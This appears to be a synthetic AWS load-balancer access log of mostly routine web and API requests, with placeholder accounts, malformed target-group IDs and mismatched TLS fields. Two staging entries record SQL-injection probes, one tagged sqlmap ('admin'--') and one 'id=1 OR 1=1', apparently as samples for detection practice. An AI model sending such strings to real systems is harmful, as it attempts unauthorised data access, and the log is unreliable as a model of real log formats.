TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcef-992c2d87e019447083d23f84" "prod-web-alb.example.com" "-" 10 2024-11-01T02:39:27.387613Z "forward" "-" "-" "10.0.110.152:443" "200" "-" "-" -https 2024-11-01T02:39:29.183672Z prod-api-alb 5.165.12.219:37892 10.0.199.72:443 0.071620 0.357545 0.044889 200 200 720 10979 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcf1-9ea18222ece9472d9ac74b59" "prod-api-alb.example.com" "-" 6 2024-11-01T02:39:29.183672Z "forward" "-" "-" "10.0.199.72:443" "200" "-" "-" -http 2024-11-01T02:39:29.755981Z staging-alb 103.3.33.225:50600 132.162.118.160:80 0.132275 0.681892 0.104182 200 200 319 13083 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcf1-afe8d887ce4041b5bf9a7185" "staging-alb.example.com" "-" 6 2024-11-01T02:39:29.755981Z "forward" "-" "-" "132.162.118.160:80" "200" "-" "-" -https 2024-11-01T02:39:31.316065Z prod-api-alb 96.77.95.184:53091 10.0.130.92:443 0.073894 0.382282 0.097778 302 302 507 9232 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcf3-897e962acbe04c8e9195ecb0" "prod-api-alb.example.com" "-" 9 2024-11-01T02:39:31.316065Z "forward" "-" "-" "10.0.130.92:443" "302" "-" "-" -https 2024-11-01T02:39:31.466712Z prod-web-alb 12.126.17.24:41168 10.0.66.207:443 0.075652 0.391389 0.075977 301 301 96 8057 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcf3-ac8d37cdb73d4adcac6b79e0" "prod-web-alb.example.com" "-" 9 2024-11-01T02:39:31.466712Z "forward" "-" "-" "10.0.66.207:443" "301" "-" "-" -https 2024-11-01T02:39:33.264225Z prod-web-alb 25.64.127.34:21527 10.0.167.82:443 0.027389 0.022023 0.048856 301 301 757 2869 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcf5-55cc41dfcb1747c8a26aa28a" "prod-web-alb.example.com" "-" 2 2024-11-01T02:39:33.264225Z "forward" "-" "-" "10.0.167.82:443" "301" "-" "-" -http 2024-11-01T02:39:34.215996Z staging-alb 189.18.190.218:52062 155.1.180.22:8080 0.057609 0.695256 0.112900 200 200 571 8339 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcf6-70e74f46a4a941b9b77ed7f0" "staging-alb.example.com" "-" 6 2024-11-01T02:39:34.215996Z "forward" "-" "-" "155.1.180.22:8080" "200" "-" "-" -https 2024-11-01T02:39:35.400140Z prod-api-alb 85.139.148.170:33273 10.0.91.102:443 0.009999 0.194930 0.069549 301 301 865 10087 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dcf7-8f4c53a3873341a2a1c0bf09" "prod-api-alb.example.com" "-" 8 2024-11-01T02:39:35.400140Z "forward" "-" "-" "10.0.91.102:443" "301" "-" "-" -https 2024-11-01T02:39:37.029719Z prod-web-alb 59.38.28.79:64378 10.0.194.38:443 0.056378 0.231810 0.068544 301 301 23 13518 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcf9-756a8fe7d08b4c378918bcdc" "prod-web-alb.example.com" "-" 0 2024-11-01T02:39:37.029719Z "forward" "-" "-" "10.0.194.38:443" "301" "-" "-" -https 2024-11-01T02:39:37.723361Z prod-api-alb 47.232.246.161:53378 10.0.95.18:443 0.096808 0.239456 0.023296 302 302 793 609 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcf9-5e7c89d2e3da4ca49a0aa8a6" "prod-api-alb.example.com" "-" 10 2024-11-01T02:39:37.723361Z "forward" "-" "-" "10.0.95.18:443" "302" "-" "-" -https 2024-11-01T02:39:38.173888Z staging-alb 170.3.151.92:34815 94.196.247.71:443 0.132768 0.643474 0.011510 200 200 610 345 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcfa-1cbfdf2698ec49e9b6b1e797" "staging-alb.example.com" "-" 10 2024-11-01T02:39:38.173888Z "forward" "-" "-" "94.196.247.71:443" "200" "-" "-" -http 2024-11-01T02:39:39.824130Z staging-alb 23.254.134.166:53491 60.62.69.145:443 0.109535 0.006073 0.141100 200 200 922 2515 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcfb-e7f1702a68854fa8b3640488" "staging-alb.example.com" "-" 3 2024-11-01T02:39:39.824130Z "forward" "-" "-" "60.62.69.145:443" "200" "-" "-" -https 2024-11-01T02:39:41.224045Z prod-web-alb 66.44.253.215:41879 10.0.167.226:443 0.022867 0.222075 0.002918 301 301 136 13754 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcfd-f668589933344130848c23a1" "prod-web-alb.example.com" "-" 10 2024-11-01T02:39:41.224045Z "forward" "-" "-" "10.0.167.226:443" "301" "-" "-" -http 2024-11-01T02:39:42.125058Z staging-alb 95.97.114.215:18373 135.248.125.16:443 0.014476 0.336526 0.083564 200 200 248 12590 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcfe-2826a36cb0e740859116311a" "staging-alb.example.com" "-" 1 2024-11-01T02:39:42.125058Z "forward" "-" "-" "135.248.125.16:443" "200" "-" "-" -https 2024-11-01T02:39:42.562827Z prod-web-alb 222.139.205.143:36158 10.0.128.108:443 0.086428 0.019650 0.024363 301 301 434 14936 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcfe-75748e0c502f4eaaa3242ba0" "prod-web-alb.example.com" "-" 9 2024-11-01T02:39:42.562827Z "forward" "-" "-" "10.0.128.108:443" "301" "-" "-" -https 2024-11-01T02:39:44.191715Z prod-web-alb 142.128.18.77:58649 10.0.255.76:443 0.054548 0.493570 0.004626 301 301 974 14326 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd00-0c181fe424254366be0618fc" "prod-web-alb.example.com" "-" 6 2024-11-01T02:39:44.191715Z "forward" "-" "-" "10.0.255.76:443" "301" "-" "-" -https 2024-11-01T02:39:44.392759Z prod-api-alb 154.143.64.18:18347 10.0.134.62:443 0.073951 0.067632 0.084559 200 200 156 11462 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd00-a804efcf838e4e21a0d05808" "prod-api-alb.example.com" "-" 10 2024-11-01T02:39:44.392759Z "forward" "-" "-" "10.0.134.62:443" "200" "-" "-" -https 2024-11-01T02:39:45.179415Z prod-web-alb 167.79.190.12:60241 10.0.158.64:443 0.027583 0.099387 0.004510 301 301 565 8881 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd01-9fbe7054bb0d432a805ce50d" "prod-web-alb.example.com" "-" 8 2024-11-01T02:39:45.179415Z "forward" "-" "-" "10.0.158.64:443" "301" "-" "-" -https 2024-11-01T02:39:45.417217Z prod-web-alb 89.84.84.72:60288 10.0.184.167:443 0.030551 0.069438 0.098334 200 200 319 10011 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd01-7c9251fb1e1d4ce48371665e" "prod-web-alb.example.com" "-" 10 2024-11-01T02:39:45.417217Z "forward" "-" "-" "10.0.184.167:443" "200" "-" "-" -https 2024-11-01T02:39:45.856784Z staging-alb 193.27.228.54:63305 41.199.99.11:443 0.010254 0.532778 0.146415 500 500 511 11065 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd01-4793f2a98389423cb562e841" "-" "-" 2 2024-11-01T02:39:45.856784Z "forward" "-" "-" "41.199.99.11:443" "500" "-" "-" -http 2024-11-01T02:39:46.087848Z staging-alb 203.109.150.252:18639 232.154.111.152:8080 0.019465 0.586531 0.089350 200 200 437 10581 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd02-ca824e73c1674265a3c6c411" "staging-alb.example.com" "-" 6 2024-11-01T02:39:46.087848Z "forward" "-" "-" "232.154.111.152:8080" "200" "-" "-" -https 2024-11-01T02:39:47.913083Z prod-web-alb 157.133.111.195:20855 10.0.169.29:443 0.093853 0.138764 0.039862 200 200 890 4435 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd03-181627d4577949b0bfea20a7" "prod-web-alb.example.com" "-" 10 2024-11-01T02:39:47.913083Z "forward" "-" "-" "10.0.169.29:443" "200" "-" "-" -https 2024-11-01T02:39:49.889703Z prod-api-alb 245.102.14.142:51180 10.0.226.2:443 0.066213 0.306514 0.028561 404 404 775 1724 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd05-29b8de15ba9f4f31a359e328" "prod-api-alb.example.com" "-" 0 2024-11-01T02:39:49.889703Z "forward" "-" "-" "10.0.226.2:443" "404" "-" "-" -http 2024-11-01T02:39:50.868059Z staging-alb 193.27.228.135:53087 84.12.232.201:80 0.020292 0.175275 0.147043 403 403 428 1656 "GET /users?id=1 OR 1=1 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd06-7f01adb7922949ceb0a811bf" "-" "-" 5 2024-11-01T02:39:50.868059Z "forward" "-" "-" "84.12.232.201:80" "403" "-" "-" -https 2024-11-01T02:39:51.324982Z prod-web-alb 202.151.133.156:26275 10.0.170.145:443 0.043804 0.259695 0.098771 200 200 953 1619 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd07-c780cdc0e11a42f7949fec99" "prod-web-alb.example.com" "-" 7 2024-11-01T02:39:51.324982Z "forward" "-" "-" "10.0.170.145:443" "200" "-" "-" -https 2024-11-01T02:39:52.790997Z prod-api-alb 218.148.11.240:20430 10.0.49.228:443 0.077025 0.225655 0.028681 200 200 258 8440 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd08-7ac9fab7809f4ea288add28a" "prod-api-alb.example.com" "-" 8 2024-11-01T02:39:52.790997Z "forward" "-" "-" "10.0.49.228:443" "200" "-" "-" -https 2024-11-01T02:39:52.941064Z prod-api-alb 192.241.122.70:55945 10.0.74.217:443 0.077556 0.357979 0.088687 200 200 175 11103 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd08-fc0157178de44849ac6b98d0" "prod-api-alb.example.com" "-" 7 2024-11-01T02:39:52.941064Z "forward" "-" "-" "10.0.74.217:443" "200" "-" "-" -https 2024-11-01T02:39:53.917896Z prod-web-alb 186.102.225.201:16736 10.0.150.136:443 0.067849 0.119891 0.072874 301 301 584 4055 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd09-f4187de44cbb47f3828fc90d" "prod-web-alb.example.com" "-" 8 2024-11-01T02:39:53.917896Z "forward" "-" "-" "10.0.150.136:443" "301" "-" "-" -https 2024-11-01T02:39:55.691632Z prod-api-alb 97.211.183.143:57544 10.0.42.148:443 0.070559 0.432640 0.001580 302 302 227 4366 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd0b-35bdab11f4874e27b6965010" "prod-api-alb.example.com" "-" 2 2024-11-01T02:39:55.691632Z "forward" "-" "-" "10.0.42.148:443" "302" "-" "-" -https 2024-11-01T02:39:56.501603Z prod-api-alb 119.32.12.56:25453 10.0.130.234:443 0.019873 0.077201 0.026665 301 301 579 6376 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd0c-7b17eaadde46499387ac485f" "prod-api-alb.example.com" "-" 6 2024-11-01T02:39:56.501603Z "forward" "-" "-" "10.0.130.234:443" "301" "-" "-" -http 2024-11-01T02:39:58.421727Z staging-alb 244.215.233.30:19730 214.3.180.210:8080 0.123943 0.195187 0.031380 200 200 181 2951 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd0e-078812e628e84ee8b2f58ab5" "staging-alb.example.com" "-" 6 2024-11-01T02:39:58.421727Z "forward" "-" "-" "214.3.180.210:8080" "200" "-" "-" -https 2024-11-01T02:39:59.506143Z prod-web-alb 68.7.33.167:34201 10.0.99.194:443 0.077109 0.162088 0.056920 301 301 25 11226 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd0f-9fb3cef9a71647debd046149" "prod-web-alb.example.com" "-" 6 2024-11-01T02:39:59.506143Z "forward" "-" "-" "10.0.99.194:443" "301" "-" "-" -https 2024-11-01T02:40:00.402677Z prod-web-alb 242.85.80.162:60552 10.0.210.46:443 0.028429 0.357667 0.026531 200 200 146 12494 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd10-fe61db8dca784b25ba6fc686" "prod-web-alb.example.com" "-" 9 2024-11-01T02:40:00.402677Z "forward" "-" "-" "10.0.210.46:443" "200" "-" "-" -https 2024-11-01T02:40:00.873018Z prod-api-alb 0.222.42.92:58510 10.0.173.142:443 0.038730 0.261047 0.002049 200 200 260 1202 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd10-16abc726b8784f739771160c" "prod-api-alb.example.com" "-" 2 2024-11-01T02:40:00.873018Z "forward" "-" "-" "10.0.173.142:443" "200" "-" "-" -https 2024-11-01T02:40:01.077225Z prod-api-alb 147.96.91.126:56374 10.0.250.255:443 0.082010 0.104850 0.009358 301 301 848 5430 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd11-489f06f193b945b39072c9e4" "prod-api-alb.example.com" "-" 6 2024-11-01T02:40:01.077225Z "forward" "-" "-" "10.0.250.255:443" "301" "-" "-" -https 2024-11-01T02:40:01.515520Z prod-api-alb 140.168.52.172:54394 10.0.232.64:443 0.002636 0.112387 0.041847 200 200 186 9803 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd11-ce9bcca36ef544fbb1124eff" "prod-api-alb.example.com" "-" 10 2024-11-01T02:40:01.515520Z "forward" "-" "-" "10.0.232.64:443" "200" "-" "-" -https 2024-11-01T02:40:03.495244Z staging-alb 87.221.7.207:25038 166.44.186.192:443 0.073460 0.706556 0.002826 200 200 716 6317 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd13-05031c94a080404fba0d8468" "-" "-" 7 2024-11-01T02:40:03.495244Z "forward" "-" "-" "166.44.186.192:443" "200" "-" "-" -https 2024-11-01T02:40:05.306999Z staging-alb 163.82.231.180:32342 125.71.177.123:443 0.077302 0.512743 0.057276 200 200 781 10827 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd15-9e09e044165d43e3a68a481f" "staging-alb.example.com" "-" 9 2024-11-01T02:40:05.306999Z "forward" "-" "-" "125.71.177.123:443" "200" "-" "-" -https 2024-11-01T02:40:05.944559Z prod-api-alb 159.241.102.114:55930 10.0.12.215:443 0.017737 0.196682 0.052560 200 200 943 12200 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd15-5acf1febcf114ae29e53f2c2" "-" "-" 5 2024-11-01T02:40:05.944559Z "forward" "-" "-" "10.0.12.215:443" "200" "-" "-" -https 2024-11-01T02:40:07.766555Z staging-alb 133.197.232.95:43748 28.167.199.42:443 0.068108 0.440618 0.076044 302 302 52 1668 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd17-eb64d3cad86543d7b51304f6" "staging-alb.example.com" "-" 7 2024-11-01T02:40:07.766555Z "forward" "-" "-" "28.167.199.42:443" "302" "-" "-" -https 2024-11-01T02:40:09.416353Z staging-alb 141.58.249.54:14220 61.47.49.251:443 0.092491 0.685683 0.097732 302 302 124 12402 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd19-e8f1240a6bb94bf59d0fe71f" "staging-alb.example.com" "-" 4 2024-11-01T02:40:09.416353Z "forward" "-" "-" "61.47.49.251:443" "302" "-" "-" -https 2024-11-01T02:40:09.954179Z staging-alb 202.147.10.157:63943 33.24.135.8:80 0.146405 0.235976 0.068014 302 302 870 14875 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd19-54e10a70db9240ad9b2ec7cf" "staging-alb.example.com" "-" 0 2024-11-01T02:40:09.954179Z "forward" "-" "-" "33.24.135.8:80" "302" "-" "-" -https 2024-11-01T02:40:11.640535Z prod-api-alb 146.222.40.43:59995 10.0.32.109:443 0.099062 0.000419 0.043249 301 301 511 13409 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd1b-ee9048f86c284d56b8b50af0" "prod-api-alb.example.com" "-" 7 2024-11-01T02:40:11.640535Z "forward" "-" "-" "10.0.32.109:443" "301" "-" "-" -https 2024-11-01T02:40:12.492693Z prod-web-alb 160.165.37.29:47895 10.0.114.19:443 0.052746 0.398164 0.026254 200 200 129 4495 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd1c-5257d6fecfe84d6895a4a006" "prod-web-alb.example.com" "-" 2 2024-11-01T02:40:12.492693Z "forward" "-" "-" "10.0.114.19:443" "200" "-" "-" -https 2024-11-01T02:40:14.079771Z staging-alb 237.186.168.178:50116 54.55.11.22:8080 0.051847 0.670120 0.002886 200 200 196 14106 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd1e-0437b7d29b644a2286afe9e0" "staging-alb.example.com" "-" 9 2024-11-01T02:40:14.079771Z "forward" "-" "-" "54.55.11.22:8080" "200" "-" "-" -https 2024-11-01T02:40:15.795370Z prod-web-alb 76.66.181.121:32170 10.0.98.148:443 0.078587 0.146575 0.014483 301 301 193 9905 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd1f-00208d41d4b549c6b49fc6fc" "prod-web-alb.example.com" "-" 9 2024-11-01T02:40:15.795370Z "forward" "-" "-" "10.0.98.148:443" "301" "-" "-" -https 2024-11-01T02:40:16.770297Z prod-api-alb 74.130.116.141:35639 10.0.170.167:443 0.094293 0.172573 0.078015 301 301 781 12654 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd20-e0fa9d2a08c94597b0171dfb" "prod-api-alb.example.com" "-" 6 2024-11-01T02:40:16.770297Z "forward" "-" "-" "10.0.170.167:443" "301" "-" "-" -https 2024-11-01T02:40:18.171606Z prod-api-alb 186.209.88.242:57727 10.0.252.183:443 0.064704 0.201400 0.055616 200 200 162 10546 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd22-ea033d73782741c6b324a361" "prod-api-alb.example.com" "-" 4 2024-11-01T02:40:18.171606Z "forward" "-" "-" "10.0.252.183:443" "200" "-" "-" -https 2024-11-01T02:40:18.620039Z prod-api-alb 191.171.217.253:54005 10.0.184.218:443 0.012598 0.324592 0.056377 200 200 262 10426 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd22-64746a54dadc494b8f642349" "prod-api-alb.example.com" "-" 7 2024-11-01T02:40:18.620039Z "forward" "-" "-" "10.0.184.218:443" "200" "-" "-" -https 